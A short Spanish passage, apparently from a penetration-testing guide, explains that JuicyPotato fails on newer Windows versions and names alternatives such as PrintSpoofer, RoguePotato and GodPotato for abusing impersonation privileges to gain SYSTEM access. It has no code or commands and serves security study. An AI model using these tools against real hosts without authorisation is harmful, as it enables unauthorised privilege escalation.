JuicyPotato no funciona en Windows Server 2019 y Windows 10 build 1809 en adelante. Sin embargo, PrintSpoofer,RoguePotato,SharpEfsPotato,GodPotato,EfsPotato,DCOMPotato** pueden ser utilizados para aprovechar los mismos privilegios y obtener acceso a nivel NT AUTHORITY\SYSTEM. Esta entrada de blog profundiza en la herramienta PrintSpoofer, que puede ser utilizada para abusar de los privilegios de suplantación en hosts de Windows 10 y Server 2019 donde JuicyPotato ya no funciona.
